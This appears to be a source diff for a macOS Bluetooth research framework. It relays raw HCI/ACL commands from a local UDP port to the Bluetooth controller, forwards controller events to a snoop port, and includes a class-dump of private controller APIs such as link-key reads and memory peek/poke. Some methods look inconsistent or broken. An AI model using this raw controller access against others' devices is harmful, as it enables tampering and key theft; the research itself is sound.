+ (void) setInject:(NSString *)arg1;
+ (void) setSnoop:(NSString *)arg1;
- (void) shutdown;
@end
#endif /* HCIDelegate_h */
@@ -0,0 +1,42 @@
//
// Commands.m
// IOBluetoothExtended
//
// Created by Davide Toldo on 06.07.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import "HCIDelegate.h"
#import "IOBluetoothExtended/IOBluetoothExtended-Swift.h"
@implementation HCIDelegate
Boolean exit_requested = false;
- (id) initWith:(NSString *)inject and:(NSString*)snoop {
if (self = [super init]) {
self.inject = inject;
self.snoop = snoop;
self.hostname = @"127.0.0.1";
[self initServer];
}
return self;
}
+ (void) setHostname:(NSString *)hostname {
self.hostname = hostname;
}
+ (void) setInject:(NSString *)port {
self.inject = port;
}
+ (void) setSnoop:(NSString *)port {
self.snoop = port;
}
- (void) shutdown {
exit_requested = true;
}
@end
@@ -0,0 +1,196 @@
//
// HCIDelegate.swift
// IOBluetoothExtended
//
// Created by Davide Toldo on 03.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
import Foundation
import Network
extension HCIDelegate: IOBluetoothHostControllerDelegate {
@objc public func initServer() {
//print("IOBE: Initializing, snoop: \(snoop ?? "-1"), inject: \(inject ?? "-1")")
self.startupServer()
}
public func sendOverUDP(data: Data, _ hostUDP: NWEndpoint.Host, _ portUDP: NWEndpoint.Port) {
var server_addr = sockaddr_in()
let server_addr_size = socklen_t(MemoryLayout.size(ofValue: server_addr))
server_addr.sin_len = UInt8(server_addr_size)
server_addr.sin_family = sa_family_t(AF_INET) // chooses IPv4
server_addr.sin_port = UInt16(portUDP.rawValue).bigEndian // chooses the port
let sock_fd = socket(AF_INET, SOCK_DGRAM, 0)
if sock_fd == -1 {
perror("Failure: creating socket")
exit(EXIT_FAILURE)
}
var bytes = [UInt8](repeating: 0, count: data.count)
(data as NSData).getBytes(&bytes, length: bytes.count)
let addr = UnsafeRawPointer(&server_addr).assumingMemoryBound(to: sockaddr.self)
sendto(sock_fd, &bytes, data.count, 0, addr, server_addr_size)
}
private func startupServer() {
let i = NWEndpoint.Port(self.inject as String)
// Create socket
let sock_fd = socket(AF_INET, SOCK_DGRAM, 0)
if sock_fd == -1 {
perror("Failure: creating socket")
exit(EXIT_FAILURE)
}
var sock_opt_on = Int32(1)
setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &sock_opt_on, socklen_t(MemoryLayout.size(ofValue: sock_opt_on)))
var server_addr = sockaddr_in()
let server_addr_size = socklen_t(MemoryLayout.size(ofValue: server_addr))
server_addr.sin_len = UInt8(server_addr_size)
server_addr.sin_family = sa_family_t(AF_INET) // chooses IPv4
server_addr.sin_port = UInt16(i!.rawValue).bigEndian // chooses the port
// Bind socket
let bind_server = withUnsafePointer(to: &server_addr) {
Darwin.bind(sock_fd, UnsafeRawPointer($0).assumingMemoryBound(to: sockaddr.self), server_addr_size)
}
if bind_server == -1 {
perror("Failure: binding port")
exit(EXIT_FAILURE)
}
//print("IOBE: Listening on", server_addr.sin_port.bigEndian)
DispatchQueue.global(qos: .background).async {
while !self.exit_requested {
// Prepare for receiving data
var client_addr = sockaddr_storage()
var client_addr_len = socklen_t(MemoryLayout.size(ofValue: client_addr))
var receiveBuffer = [UInt8](repeating: 0, count: 1024)
var bytesRead = 0
// Receive data via syscall
bytesRead = withUnsafeMutablePointer(to: &client_addr) {
$0.withMemoryRebound(to: sockaddr.self, capacity: 1) {
recvfrom(sock_fd, &receiveBuffer, 1024, 0, $0, &client_addr_len)
}
}
if bytesRead == -1 {
perror("Failure: error while reading")
exit(EXIT_FAILURE)
}
// After reading the command, do all further processing on another
// Thread to be able to accept new incoming commands from the socket
DispatchQueue.global(qos: .background).async {
var command = Array([UInt8](receiveBuffer).dropFirst(2))
let length: UInt8 = receiveBuffer[1]
// Send command to Bluetooth HCI Controller
let hci_type = [UInt8](receiveBuffer)[0]
if hci_type == 0x01 {
HCICommunicator.sendHCICommand(&command, len: length)
}
else {
HCICommunicator.sendACLCommand(&command, len: length)
}
}
}
print("Exiting...")
close(self.sock_fd)
close(self.client_fd)
}
}
@objc(BluetoothHCIEventNotificationMessage:inNotificationMessage:)
public func bluetoothHCIEventNotificationMessage(_ controller: IOBluetoothHostController,
in message: UnsafeMutablePointer<IOBluetoothHCIEventNotificationMessage>) {
let opcode = message.pointee.dataInfo.opcode
let data = IOBluetoothHCIEventParameterData(message)
if opcode == 0 { return }
let dataInfo = message.pointee.dataInfo
let opcod1 = String(format:"%02X", dataInfo.opcode)
let opcod2 = Array(repeating: "0", count: 4-opcod1.count) + Array(opcod1)
if opcod2.count < 4 { return }
let opcod3 = "\(opcod2[2])\(opcod2[3])\(opcod2[0])\(opcod2[1])"
var result = "04"
result.append(String(format:"%02X", dataInfo._field7))
result.append("\(String(format:"%02X", dataInfo.parameterSize+3))")
result.append("01\(opcod3)")
result.append(data.hexEncodedString())
// printFormatted(result)
if result.count < 8 { return }
let h = NWEndpoint.Host(self.hostname as String)
let s = NWEndpoint.Port(self.snoop as String)
// Version Information
if opcode == 0x1001 {
var temp = ""
for i in [0,1,2,3,4,5,9,8,14,15,12,6,7,10,11] {
temp.append(result[i*2])
temp.append(result[i*2+1])
}
self.sendOverUDP(data: temp.hexadecimal!, h, s!)
}
// Connection Complete
else if opcode == 0x0405 || opcode == 0x0409 {
let orig = data.hexEncodedString()
var temp = "0403"
for i in [8,9,0,1,7,6,5,4,3,2] {
temp.append(orig[i*2])
temp.append(orig[i*2+1])
}
if temp.count != 24 { return }
self.sendOverUDP(data: temp.hexadecimal!, h, s!)
}
// Disconnection Complete
else if opcode == 0x0406 {
let orig = data.hexEncodedString()
if orig.count == 0 { return }
var temp = "040504"
for i in [2,1,0] {
temp.append(orig[i*2])
temp.append(orig[i*2+1])
}
self.sendOverUDP(data: temp.hexadecimal!, h, s!)
}
else {
let temp = result.hexadecimal!
if temp.count >= 8 {
self.sendOverUDP(data: temp, h, s!)
}
}
}
func printFormatted(_ result: String) {
let str = result.separate()
var formatted = ""
for (i, sub) in str.components(separatedBy: " ").enumerated() {
if i % 8 == 7 {
let rowIndex = i/8
let start = result.index(result.startIndex, offsetBy: rowIndex * 32)
let end = rowIndex * 32 + 32 < result.count ?
result.index(result.startIndex, offsetBy: rowIndex * 32 + 32) :
result.endIndex
let range = start..<end
let row = String(result[range])
formatted.append(sub + " \(row.toAscii())\n")
}
else {
formatted.append(sub + " ")
}
}
print(formatted)
}
}
@@ -0,0 +1,26 @@
//
// IOBE.h
// IOBluetoothExtended
//
// Created by Davide Toldo on 19.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <IOBluetooth/IOBluetooth.h>
#ifndef IOBE_h
#define IOBE_h
@class HCIDelegate;
@interface IOBE: NSObject {
IOBluetoothHostController *controller;
HCIDelegate *delegate;
}
- (void) shutdown;
@end
#endif /* IOBE_h */
@@ -0,0 +1,31 @@
//
// IOBE.m
// IOBluetoothExtended
//
// Created by Davide Toldo on 19.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import "IOBE.h"
#import "HCIDelegate.h"
@implementation IOBE
- (id) initWith:(NSString *)inject and:(NSString*)snoop {
if (self = [super init]) {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_BACKGROUND, 0), ^{
self->controller = IOBluetoothHostController.defaultController;
self->delegate = [[HCIDelegate alloc] initWith:inject and:snoop];
self->controller.delegate = self->delegate;
[[NSRunLoop currentRunLoop] run];
});
}
return self;
}
- (void) shutdown {
[self->delegate shutdown];
}
@end
@@ -0,0 +1,20 @@
//
// IOBluetoothExtended.h
// IOBluetoothExtended
//
// Created by Davide Toldo on 06.07.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <Cocoa/Cocoa.h>
#import <HCIDelegate.h>
#import <HCICommunicator.h>
#import <IOBluetoothHostController.h>
//! Project version number for IOBluetoothExtended.
FOUNDATION_EXPORT double IOBluetoothExtendedVersionNumber;
//! Project version string for IOBluetoothExtended.
FOUNDATION_EXPORT const unsigned char IOBluetoothExtendedVersionString[];
// In this header, you should import all the public headers of your framework using statements like #import <IOBluetoothExtended/PublicHeader.h>
@@ -0,0 +1,349 @@
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
@import Foundation;
@import IOBluetooth;
struct IOBluetoothHCIEventNotificationMessage;
typedef struct IOBluetoothHCIEventNotificationMessage * IOBluetoothHCIEventNotificationMessageRef;
NS_ASSUME_NONNULL_BEGIN
@protocol IOBluetoothHostControllerDelegate
@optional
- (void)BluetoothHCIEventNotificationMessage:(IOBluetoothHostController*)controller
inNotificationMessage:(IOBluetoothHCIEventNotificationMessageRef)message;
@end
@interface IOBluetoothHostController (PrivateAPI)
+ (void)initialize;
+ (id)getPropertyObjectFromIOServiceNamed:(const char *)arg1 forKey:(id)arg2;
+ (id)defaultController;
+ (id)controllers;
+ (void)enableNotifications;
@property id delegate; // @synthesize delegate=_delegate;
- (void)BluetoothHostControllerSetupCompleted;
- (void)sendInquiryResultToDelegate:(struct IOBluetoothHCIEventNotificationMessage *)arg1;
- (void)processRawEventData:(const void *)arg1 dataSize:(unsigned long long)arg2;
- (void)asyncHCIEventNotificationWithRef:(struct OpaqueIOBluetoothNotificationRef *)arg1 subClass:(unsigned int)arg2 data:(const void *)arg3 dataSize:(unsigned long long)arg4;
- (void)stopHCIEventListener;
- (id)getDeviceForHCIRequestID:(unsigned int)arg1 removeIfFound:(BOOL)arg2;
- (void)addDeviceToOutstandingRequests:(id)arg1 forHCIRequestID:(unsigned int)arg2;
- (int)BluetoothHCILETrackSensor:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 timeoutValue:(unsigned char)arg3 outLEextOpcode:(char *)arg4;
- (int)BluetoothHCILEExtendedDuplicateFilter:(char *)arg1 outAction:(unsigned char)arg2;
- (int)BluetoothHCILEAdvPacketPacketFilterServiceUUIDClear:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 outLEextOpcode:(char *)arg3 outAction:(char *)arg4;
- (int)BluetoothHCILEAdvPacketPacketFilterServiceUUIDWrite:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 logicalType:(unsigned char)arg3 outLEextOpcode:(char *)arg4 outAction:(char *)arg5 UUID:(char *)arg6;
- (int)BluetoothHCIBroadcomTagLEA:(unsigned long long)arg1 connectionHandle:(unsigned short)arg2 input:(BOOL)arg3 channel:(BOOL)arg4;
- (int)BluetoothHCILEScanRSSIThresholdWrite:(unsigned char)arg1 rssiThresdhold:(BOOL)arg2 outAction:(char *)arg3;
- (int)BluetoothHCILEScanRSSIThresholdRead:(char *)arg1 outMode:(char *)arg2 outRSSIThreshold:(char *)arg3;
- (int)BluetoothHCILEAdvPacketContentFilterFeatureSectionClear:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 outLEextOpcode:(char *)arg3 outAction:(char *)arg4;
- (int)BluetoothHCILEAdvPacketContentFilterFeatureSectionRead:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 outLEextOpcode:(char *)arg3 outAction:(char *)arg4 outFeatureSelection:(unsigned int *)arg5 outLogicalType:(char *)arg6;
- (int)BluetoothHCILEAdvPacketContentFilterFeatureSectionWrite:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 featureSelection:(unsigned int)arg3 logicalType:(unsigned char)arg4 outLEextOpcode:(char *)arg5 outAction:(char *)arg6;
- (int)BluetoothHCILEBroadcomReadIRKList:(unsigned char)arg1 outLEextOpcode:(char *)arg2 outIRKListIndex:(char *)arg3 outIRK:(char *)arg4 outAddressType:(char *)arg5 outAddress:(struct BluetoothDeviceAddress *)arg6 outResolvedPrivateAddress:(struct BluetoothDeviceAddress *)arg7;
- (int)BluetoothHCILEBroadcomClearIRKList:(char *)arg1 outIRKListAvailableSpace:(char *)arg2;
- (int)BluetoothHCILEBroadcomRemoveIRKFromList:(unsigned char)arg1 address:(struct BluetoothDeviceAddress *)arg2 outLEextOpcode:(char *)arg3 outIRKListAvailableSpace:(char *)arg4;
- (int)BluetoothHCILEBroadcomAddIRKToList:(char *)arg1 addressType:(unsigned char)arg2 address:(struct BluetoothDeviceAddress *)arg3 outLEextOpcode:(char *)arg4 outIRKListAvailableSpace:(char *)arg5;
- (int)BluetoothHCILEBroadcomEnableCustomerSpecificFeatures:(unsigned int)arg1 outLEextOpcode:(char *)arg2;
- (int)readVerboseConfigVersionInfo:(char *)arg1 outTargetID:(char *)arg2 outBaseline:(unsigned short *)arg3 outBuild:(unsigned short *)arg4;
- (int)superPeekPoke:(unsigned char)arg1 address:(unsigned int)arg2 outValue:(unsigned int *)arg3;
- (int)removeHIDEmulationDevice:(struct BluetoothDeviceAddress)arg1;
- (int)readHIDEmulationDevices;
- (int)addHIDEmulationDevice:(struct BluetoothDeviceAddress)arg1 classOfDevice:(unsigned int)arg2 linkKey:(struct BluetoothKey)arg3;
- (int)triStateEnabled:(BOOL)arg1;
- (int)startTransmitTest:(struct BluetoothDeviceAddress *)arg1 hoppingMode:(unsigned char)arg2 frequency:(unsigned char)arg3 modulationType:(unsigned char)arg4 logicalChannel:(unsigned char)arg5 packetType:(unsigned char)arg6 packetLength:(unsigned short)arg7 transmitPower:(unsigned char)arg8 transmitPowerdBm:(unsigned char)arg9 transmitPowerTableIndex:(unsigned char)arg10;
- (int)startReceiveTest:(struct BluetoothDeviceAddress *)arg1 reportPeriod:(unsigned short)arg2 frequency:(unsigned char)arg3 modulationType:(unsigned char)arg4 logicalChannel:(unsigned char)arg5 packetType:(unsigned char)arg6 packetLength:(unsigned short)arg7;
- (int)setTransmitPowerForDevice:(id)arg1 toLevel:(unsigned char)arg2;
- (int)readRawRSSIForDevice:(id)arg1;
- (int)BluetoothHCIBroadcomSetProximityTrigger:(unsigned char)arg1 inEnableAwayTrigger:(unsigned char)arg2;
- (int)BluetoothHCIBroadcomSetProximityTable:(const struct BluetoothDeviceAddress *)arg1 inPowerSteps:(unsigned char)arg2 inAwayTriggerValues:(struct BluetoothBroadcomRSSITriggerValue *)arg3 inPresentTriggerValues:(struct BluetoothBroadcomRSSITriggerValue *)arg4;
- (int)BluetoothHCIBroadcomReadRetransmissionStatus:(unsigned char)arg1 inConnectionHandle:(unsigned short)arg2 inNotificationEnable:(unsigned char)arg3 inNotificationThreshold:(unsigned char)arg4 outConnectionHandle:(unsigned short *)arg5 outRetransmissionCounter:(unsigned int *)arg6 outRetransmissionPercentage:(char *)arg7;
- (int)BluetoothHCIBroadcomIncreaseDecreasePowerLevel:(const struct BluetoothDeviceAddress *)arg1 increase:(unsigned char)arg2;
- (int)BluetoothHCIBroadcomTurnOFFDynamicPowerControl:(unsigned char)arg1 inDeviceAddress:(const struct BluetoothDeviceAddress *)arg2;
- (int)BluetoothHCIBroadcomChangeLNAGainCoexsECI:(unsigned char)arg1;
- (int)BluetoothHCIBroadcomSetUSBAutoResume:(unsigned short)arg1;
- (int)BluetoothHCIBroadcomIgnoreUSBReset:(char *)arg1;
- (int)BluetoothHCIBroadcomGetEDRACLConnectionStats;
- (int)BluetoothHCIBroadcomResetBasicRateACLConnectionStats;
- (int)BluetoothHCIBroadcomGetBasicRateACLConnectionStats;
- (int)BluetoothHCIBroadcomBFCIsConnectionTBFCSuspended:(unsigned short)arg1 outBFCConnectionInfo:(struct BluetoothBroadcomBFCConnectionTBFCSuspendedInfo *)arg2;
- (int)BluetoothHCIBroadcomReadLocalFirmwareInfo:(unsigned char)arg1 outLocalFirmwareInfo:(struct BluetoothBroadcomLocalFirmwareInfo *)arg2;
- (int)BluetoothHCIBroadcomSetEventMask:(const struct BluetoothBroadcomSetEventMask *)arg1;
- (int)BluetoothHCIBroadcomBFCCreateConnection:(const struct BluetoothDeviceAddress *)arg1 inPacketType:(unsigned short)arg2 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg3;
- (int)BluetoothHCIBroadcomBFCReadScanEnable:(char *)arg1;
- (int)BluetoothHCIBroadcomBFCWriteScanEnable:(unsigned char)arg1;
- (int)BluetoothHCIBroadcomBFCReadRemoteBPCSFeatures:(unsigned short)arg1 outBPCSFeatures:(struct BluetoothBroadcomBFCRemoteBPCSFeatures *)arg2;
- (int)BluetoothHCIBroadcomSetTransmitPower:(unsigned short)arg1 inPower:(BOOL)arg2;
- (int)BluetoothHCIBroadcomBFCSetParams:(struct BluetoothBroadcomBFCParams *)arg1;
- (int)BluetoothHCIBroadcomBFCReadParams:(struct BluetoothBroadcomBFCParams *)arg1;
- (int)BluetoothHCIBroadcomBFCResume:(unsigned short)arg1 inDeviceAddress:(const struct BluetoothDeviceAddress *)arg2 inBFCResume:(struct BluetoothBroadcomBFCReconnectData *)arg3;
- (int)BluetoothHCIBroadcomBFCSuspend:(unsigned short)arg1;
- (int)BluetoothHCIBroadcomReadRawRSSI:(unsigned short)arg1 outRSSI:(char *)arg2;
- (int)BluetoothHCIAtherosReadRawRSSI:(const struct BluetoothDeviceAddress *)arg1 outRSSI:(char *)arg2;
- (int)BluetoothHCICSRReadRawRSSI:(unsigned short)arg1 outRSSI:(char *)arg2;
- (BOOL)isLEASupported;
- (BOOL)pairedDeviceSupportTBFCPage;
- (BOOL)tbfcPageSupported;
- (BOOL)tbfcSupported;
- (BOOL)concurrentCreateConnectionSupported;
- (struct BluetoothHCISupportedFeatures)supportedFeatures;
- (id)cachedDeviceAddressString;
- (id)cachedDeviceAddress;
- (unsigned char)cachedHCIVersion;
- (BOOL)lowEnergySupported;
- (int)setPowerState:(int)arg1;
@property(readonly) int powerState;
- (BOOL)powerChangeSupported;
- (int)BluetoothHCILETestEnd:(unsigned short *)arg1;
- (int)BluetoothHCILETransmitterTest:(unsigned char)arg1 lengthOfTestData:(unsigned char)arg2 packetPayload:(unsigned char)arg3;
- (int)BluetoothHCILEReceiverTest:(unsigned char)arg1;
- (int)BluetoothHCILEReadSupportedStates:(unsigned long long *)arg1;
- (int)BluetoothHCILELongTermKeyRequestNegativeReply:(unsigned short)arg1;
- (int)BluetoothHCILELongTermKeyRequestReply:(unsigned short)arg1 longTermKey:(char *)arg2;
- (int)BluetoothHCILEStartEncryption:(unsigned short)arg1 randomNumber:(unsigned long long)arg2 encryptedDiversifier:(unsigned short)arg3 longTermKey:(char *)arg4;
- (int)BluetoothHCILERand:(unsigned long long *)arg1;
- (int)BluetoothHCILEEncrypt:(char *)arg1 plaintextData:(char *)arg2 encryptedData:(char *)arg3;
- (int)BluetoothHCILEReadRemoteUsedFeatures:(unsigned short)arg1;
- (int)BluetoothHCILEReadChannelMap:(unsigned short)arg1 channelMap:(unsigned long long *)arg2;
- (int)BluetoothHCILESetHostChannelClassification:(unsigned long long)arg1;
- (int)BluetoothHCILEConnectionUpdate:(unsigned short)arg1 connectionIntervalMin:(unsigned short)arg2 connectionIntervalMax:(unsigned short)arg3 connectionLatency:(unsigned short)arg4 supervisionTimeout:(unsigned short)arg5 minimumCELength:(unsigned short)arg6 maximumCELength:(unsigned short)arg7;
- (int)BluetoothHCILERemoveDeviceFromWhiteList:(unsigned char)arg1 address:(const struct BluetoothDeviceAddress *)arg2;
- (int)BluetoothHCILEAddDeviceToWhiteList:(unsigned char)arg1 address:(const struct BluetoothDeviceAddress *)arg2;
- (int)BluetoothHCILEClearWhiteList;
- (int)BluetoothHCILEReadWhiteListSize:(char *)arg1;
- (int)BluetoothHCILECreateConnectionCancel;
- (int)BluetoothHCILECreateConnection:(unsigned short)arg1 LEScanWindow:(unsigned short)arg2 initiatorFilterPolicy:(unsigned char)arg3 peerAddressType:(unsigned char)arg4 peerAddress:(struct BluetoothDeviceAddress *)arg5 ownAddressType:(unsigned char)arg6 connectionIntervalMin:(unsigned short)arg7 connectionIntervalMax:(unsigned short)arg8 connectionLatency:(unsigned short)arg9 supervisionTimeout:(unsigned short)arg10 minimumCELength:(unsigned short)arg11 maximumCELength:(unsigned short)arg12;
- (int)BluetoothHCILESetScanEnable:(unsigned char)arg1 filterDuplicates:(unsigned char)arg2;
- (int)BluetoothHCILESetScanParameters:(unsigned char)arg1 LEScanInterval:(unsigned short)arg2 LEScanWindow:(unsigned short)arg3 ownAddressType:(unsigned char)arg4 scanningFilterPolicy:(unsigned char)arg5;
- (int)BluetoothHCILESetAdvertiseEnable:(unsigned char)arg1;
- (int)BluetoothHCILESetScanResponseData:(unsigned char)arg1 scanResponseData:(char *)arg2;
- (int)BluetoothHCILESetAdvertisingData:(unsigned char)arg1 advertsingData:(char *)arg2;
- (int)BluetoothHCILEReadAdvertisingChannelTxPower:(char *)arg1;
- (int)BluetoothHCILESetAdvertisingParameters:(unsigned short)arg1 advertisingIntervalMax:(unsigned short)arg2 advertisingType:(unsigned char)arg3 ownAddressType:(unsigned char)arg4 directAddressType:(unsigned char)arg5 directAddress:(struct BluetoothDeviceAddress *)arg6 advertisingChannelMap:(unsigned char)arg7 advertisingFilterPolicy:(unsigned char)arg8;
- (int)BluetoothHCILESetRandomAddress:(struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCILEReadLocalSupportedFeatures:(unsigned long long *)arg1;
- (int)BluetoothHCILEReadBufferSize:(unsigned short *)arg1 totalNumberLEDataPackets:(char *)arg2;
- (int)BluetoothHCILESetEventMask:(unsigned long long)arg1;
- (void)BluetoothHCIEventNotification:(const struct IOBluetoothHCIEventNotificationMessage *)arg1;
- (int)BluetoothHCIWriteSimplePairingDebugMode:(unsigned char)arg1;
- (int)BluetoothHCIEnableDeviceUnderTestMode;
- (int)BluetoothHCIWriteLoopbackMode:(unsigned char)arg1;
- (int)BluetoothHCIReadLoopbackMode:(char *)arg1;
- (int)BluetoothHCIReadClock:(unsigned short)arg1 inWhichClock:(unsigned char)arg2 outReadClockInfo:(struct BluetoothReadClockInfo *)arg3;
- (int)BluetoothHCIReadAFHChannelMap:(unsigned short)arg1 outAFHMode:(char *)arg2 outAFHChannelMap:(unsigned char [10])arg3;
- (int)BluetoothHCIReadRSSI:(unsigned short)arg1 outRSSI:(char *)arg2;
- (int)BluetoothHCIReadLinkQuality:(unsigned short)arg1 outLinkQuality:(char *)arg2;
- (int)BluetoothHCIResetFailedContactCounter:(unsigned short)arg1;
- (int)BluetoothHCIReadFailedContactCounter:(unsigned short)arg1 outFailedContactCounter:(unsigned short *)arg2;
- (int)BluetoothHCIReadDeviceAddress:(struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIReadBufferSize:(unsigned short *)arg1 outHCSynchronousDataPacketLength:(char *)arg2 outHCTotalNumACLDataPackets:(unsigned short *)arg3 outHCTotalNumSynchronousDataPackets:(unsigned short *)arg4;
- (int)BluetoothHCIReadLocalExtendedFeatures:(unsigned char)arg1 outMaximumPageNumber:(char *)arg2 outExtendedLMPFeatures:(struct BluetoothHCISupportedFeatures *)arg3;
- (int)BluetoothHCIReadLocalSupportedFeatures:(struct BluetoothHCISupportedFeatures *)arg1;
- (int)BluetoothHCIReadLocalSupportedCommands:(struct BluetoothHCISupportedCommands *)arg1;
- (int)BluetoothHCIReadLocalVersionInformation:(char *)arg1 outHCIRevision:(unsigned short *)arg2 outLMPVersion:(char *)arg3 outManufacturerName:(unsigned short *)arg4 outLMPSubversion:(unsigned short *)arg5;
- (int)BluetoothHCIWriteLEHostSupported:(unsigned char)arg1 simultaneousLEHost:(unsigned char)arg2;
- (int)BluetoothHCIReadLEHostSupported:(char *)arg1 simultaneousLEHost:(char *)arg2;
- (int)BluetoothHCIEnhancedFlush:(unsigned short)arg1 inPacketType:(unsigned char)arg2 outConnectionHandle:(unsigned short *)arg3;
- (int)BluetoothHCIWriteDefaultErroneousDataReporting:(unsigned char)arg1;
- (int)BluetoothHCIReadDefaultErroneousDataReporting:(char *)arg1;
- (int)BluetoothHCISendKeypressNotification:(const struct BluetoothDeviceAddress *)arg1 inNotificationType:(unsigned char)arg2;
- (int)BluetoothHCIWriteInquiryTransmitPowerLevel:(BOOL)arg1;
- (int)BluetoothHCIReadInquiryResponseTransmitPowerLevel:(char *)arg1;
- (int)BluetoothHCIReadLocalOOBData:(struct BluetoothHCISimplePairingOOBData *)arg1 outR:(struct BluetoothHCISimplePairingOOBData *)arg2;
- (int)BluetoothHCIWriteSimplePairingMode:(unsigned char)arg1;
- (int)BluetoothHCIReadSimplePairingMode:(char *)arg1;
- (int)BluetoothHCIRefreshEncryptionKey:(unsigned short)arg1 outRefreshEncryptionKeyResults:(struct BluetoothHCIEventEncryptionKeyRefreshCompleteResults *)arg2;
- (int)BluetoothHCIWriteExtendedInquiryResponse:(unsigned char)arg1 inExtendedInquiryResponse:(const struct BluetoothHCIExtendedInquiryResponse *)arg2;
- (int)BluetoothHCIReadExtendedInquiryResponse:(char *)arg1 outExtendedInquiryResponse:(struct BluetoothHCIExtendedInquiryResponse *)arg2;
- (int)BluetoothHCIWriteAFHChannelAssessmentMode:(unsigned char)arg1;
- (int)BluetoothHCIReadAFHChannelAssessmentMode:(char *)arg1;
- (int)BluetoothHCIWritePageScanType:(unsigned char)arg1;
- (int)BluetoothHCIReadPageScanType:(char *)arg1;
- (int)BluetoothHCIWriteInquiryMode:(unsigned char)arg1;
- (int)BluetoothHCIReadInquiryMode:(char *)arg1;
- (int)BluetoothHCIWriteInquiryScanType:(unsigned char)arg1;
- (int)BluetoothHCIReadInquiryScanType:(char *)arg1;
- (int)BluetoothHCISetAFHHostChannelClassification:(const struct BluetoothAFHHostChannelClassification *)arg1;
- (int)BluetoothHCIWriteCurrentIACLAP:(const struct BluetoothHCICurrentInquiryAccessCodes *)arg1;
- (int)BluetoothHCIReadCurrentIACLAP:(struct BluetoothHCICurrentInquiryAccessCodes *)arg1;
- (int)BluetoothHCIReadNumberOfSupportedIAC:(char *)arg1;
- (int)BluetoothHCIWriteLinkSupervisionTimeout:(unsigned short)arg1 inLinkSupervisionTimeout:(unsigned short)arg2;
- (int)BluetoothHCIReadLinkSupervisionTimeout:(unsigned short)arg1 outLinkSupervisionTimeout:(unsigned short *)arg2;
- (int)BluetoothHCIHostNumberOfCompletedPackets:(unsigned char)arg1 inHandle:(const unsigned short *)arg2 inHostNumOfCompletedPackets:(const unsigned short *)arg3;
- (int)BluetoothHCIHostBufferSize:(unsigned short)arg1 inHostSynchronousDataPacketLength:(unsigned char)arg2 inHostTotalNumACLDataPackets:(unsigned short)arg3 inHostTotalNumSynchronousDataPackets:(unsigned short)arg4;
- (int)BluetoothHCISetControllerToHostFlowControl:(unsigned char)arg1;
- (int)BluetoothHCIWriteSynchronousFlowControlEnable:(unsigned char)arg1;
- (int)BluetoothHCIReadSynchronousFlowControlEnable:(char *)arg1;
- (int)BluetoothHCIReadTransmitPowerLevel:(unsigned short)arg1 inType:(unsigned char)arg2 outTransmitPowerLevel:(char *)arg3;
- (int)BluetoothHCIWriteHoldModeActivity:(unsigned char)arg1;
- (int)BluetoothHCIReadHoldModeActivity:(char *)arg1;
- (int)BluetoothHCIWriteNumBroadcastRetransmissions:(unsigned char)arg1;
- (int)BluetoothHCIReadNumBroadcastRetransmissions:(char *)arg1;
- (int)BluetoothHCIWriteAutomaticFlushTimeout:(unsigned short)arg1 inFlushTimeout:(unsigned short)arg2;
- (int)BluetoothHCIReadAutomaticFlushTimeout:(unsigned short)arg1 outFlushTimeout:(unsigned short *)arg2;
- (int)BluetoothHCIWriteVoiceSetting:(unsigned short)arg1;
- (int)BluetoothHCIReadVoiceSetting:(unsigned short *)arg1;
- (int)BluetoothHCIWriteClassOfDevice:(unsigned int)arg1;
- (int)BluetoothHCIReadClassOfDevice:(unsigned int *)arg1;
- (int)BluetoothHCIWriteAuthenticationEnable:(unsigned char)arg1;
- (int)BluetoothHCIReadAuthenticationEnable:(char *)arg1;
- (int)BluetoothHCIWriteInquiryScanActivity:(unsigned short)arg1 inInquiryScanWindow:(unsigned short)arg2;
- (int)BluetoothHCIReadInquiryScanActivity:(unsigned short *)arg1 outInquiryScanWindow:(unsigned short *)arg2;
- (int)BluetoothHCIWritePageScanActivity:(unsigned short)arg1 inPageScanWindow:(unsigned short)arg2;
- (int)BluetoothHCIReadPageScanActivity:(unsigned short *)arg1 outPageScanWindow:(unsigned short *)arg2;
- (int)BluetoothHCIWriteScanEnable:(unsigned char)arg1;
- (int)BluetoothHCIReadScanEnable:(char *)arg1;
- (int)BluetoothHCIWritePageTimeout:(unsigned short)arg1;
- (int)BluetoothHCIReadPageTimeout:(unsigned short *)arg1;
- (int)BluetoothHCIWriteConnectionAcceptTimeout:(unsigned short)arg1;
- (int)BluetoothHCIReadConnectionAcceptTimeout:(unsigned short *)arg1;
- (int)BluetoothHCIReadLocalName:(unsigned char [256])arg1;
- (int)BluetoothHCIWriteLocalName:(unsigned char [256])arg1;
- (int)BluetoothHCIDeleteStoredLinkKey:(const struct BluetoothDeviceAddress *)arg1 inDeleteAllFlag:(unsigned char)arg2 outNumKeysDeleted:(unsigned short *)arg3;
- (int)BluetoothHCIWriteStoredLinkKey:(unsigned int)arg1 inDeviceAddress:(const struct BluetoothDeviceAddress *)arg2 inLinkKey:(const struct BluetoothKey *)arg3 outNumKeysWritten:(char *)arg4;
- (int)BluetoothHCIReadStoredLinkKey:(const struct BluetoothDeviceAddress *)arg1 inReadAllFlag:(unsigned char)arg2 outStoredLinkKeysInfo:(struct BluetoothHCIStoredLinkKeysInfo *)arg3;
- (int)BluetoothHCICreateNewUnitKey;
- (int)BluetoothHCIWritePINType:(unsigned char)arg1;
- (int)BluetoothHCIReadPINType:(char *)arg1;
- (int)BluetoothHCIFlush:(unsigned short)arg1;
